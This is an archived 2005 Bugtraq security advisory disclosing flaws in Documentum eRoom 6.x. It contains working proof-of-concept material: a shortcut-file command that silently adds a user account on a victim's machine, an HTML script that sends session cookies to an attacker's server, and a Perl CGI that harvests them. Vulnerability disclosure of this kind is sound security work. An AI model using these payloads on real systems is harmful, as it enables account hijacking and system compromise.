[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    eRoom Multiple Security Issues
From:       c0ntexb () gmail ! com
Date:       2005-07-06 21:28:26
Message-ID: 20050706212826.27745.qmail () securityfocus ! com
[Download RAW message or body]

 /*
  *****************************************************************************************************************
  $ An open security advisory #9 - eRoom v6.* Vulnerabilities
  *****************************************************************************************************************
  1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com
  2: Bug Released: July 06 2005
  3: Bug Impact Rate: Medium / Hi
  4: Bug Scope Rate: Remote
  *****************************************************************************************************************
  $ This advisory and/or proof of concept code must not be used for commercial gain.
  *****************************************************************************************************************


  Documentum eRoom
  http://www.documentum.com

  "Documentum eRoom enables enterprises to become more productive, efficient, and \
agile by bringing  together people, processes, and content. In fact, more than 1000 \
Global 2000 enterprises use  Documentum eRoom to optimize key projects and \
processes."

  eRoom has some vulnerabilities in that it does not deal with attached files or \
handle cookies in  a secure manner. This being the case, it is possible to abuse \
trust between users utilising the  system, execute code on systems of valid users and \
compromise user accounts by stealing/replaying  their session cookies.

  Issues
  ------

  1) Attaching malicious files
  2) Stealing and replaying cookies
     -> I am unable to verify if the replay attack and cookie time out effects all \
                versions of eRoom
        6.* as I do not have access to a default installation and am unable to find a \
                demo version
        that I can use, though the chances are it is. I can guarantee that cookies \
                can be stolen from
        all versions and java script / HTML can be run from within an attached file.


  1 - Attached files
  ------------------

  eRoom allows a user to attach files into the website to share with other users, \
however there is  no restriction on the type of file that can be attached. This can \
be abused to remotly compromise  the systems of eRooms users.

  If an .exe file is uploaded, when the user clicks on the file the usual "what do \
you want to do  with this file" box pops up and as such, this does not seem a big \
problem. However, this check can  be bypassed by uploading a .lnk file (windows \
shortcut) to the site, which contains any command you  wish, I used the following:

  %SystemRoot%\system32\cmd.exe /k net user hacker hackerpass /ADD

  proving it is possible to have a command run on the remote users system once the \
user clicks on the  file. Notice there is no further user interaction required and no \
pop-up box is recieved, the .lnk  just gets downloaded by the eRoom plugin in the \
background and gets run, adding a user account to  the system. 

  There are no warnings given to the user about the file containing a link to an \
executable image, and  as such, it remains an invisible compromise.

  The downloaded file will be left in

  C:\Documents and Settings\user\Application Data\eRoom\eRoom Client\V6\Attachments\
  {blahblah-blah-blah-blah-1234567890}\0_2bcb\budget_info.lnk


  2 - Stealing and replaying cookies
  ----------------------------------

  Cookies used for authentication in eRoom seem to be set up in a manner that allows \
a simple replay  attack to be performed. The session cookie does not expire, as such, \
once it has been compromised  and harvested, anyone can then replay the cookie and \
gain access to the site as the original user.

  Evil user uploads an html file to eRoom, the victim browses the file cookie.html, \
which will send  the users cookie information to a cgi script on a malicious web \
server and harvest the detials.  These cookie details can then be used in a replay \
attack giving the attacker the potential to gain  access to the web site as the user \
who accessed cookie.html.

  /* cookie.html */
  <html>
  <head>
    <title>Raiding the cookie jar</title>
  </head>
  <body>

  <br>
    <script>document.location='https://10.1.1.2/cgi-bin/cookie.cgi?' \
+document.cookie</script>  <br>

  </body>
  </html>


  /* cookie.cgi */
  #!/usr/bin/perl
  use CGI qw(:standard);
  use CGI::Carp qw(warningsToBrowser fatalsToBrowser);
  use strict;

  my $break = "<br>";
  my $browser = $ENV{'HTTP_USER_AGENT'};
  my $cookie = $ENV{'QUERY_STRING'};
  my $remote = $ENV{'REMOTE_ADDR'};
  my $referer = $ENV{'HTTP_REFERER'};
  my $reqmeth = $ENV{'REQUEST_METHOD'};

  print header;

  print "<html>",
        "<head><title>Cookie Jacker</title></head>",
        "<center><h1>Yummy!</h1>",
        "ASPSESSIONID & SMSESSIONID could be useful for something? ;)",
        "$break$break$break$break",
        "<img src=\"/cookiemonster.jpg\">",
        "</center>",
        "$break$break$break$break\n";

  $cookie =~ s/;%20/$break/g;

  if($browser =~ /MSIE/) {
                print "Come on, is this the 90s or smtng!$break";
        } else {
                print "j00 are l33t$break";
  }

  print "Client connection came from $remote$break",
        "Refered by $referer$break",
        "Using $reqmeth$break$break",
        "$cookie\n";

  print end_html;


  Also, looking in access_log, information similar to the following will be \
presented:

  10.1.1.2 - - [21/Jun/2005:16:57:23 +0100] "GET /cgi-bin/a.cgi?< cookie_information \
> AS HTTP/1.1" 200 1769


  There are no fixes available for these issues in 6.*, perhaps version 7 is more \
secure, all users are advised  to update to the latest version.


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic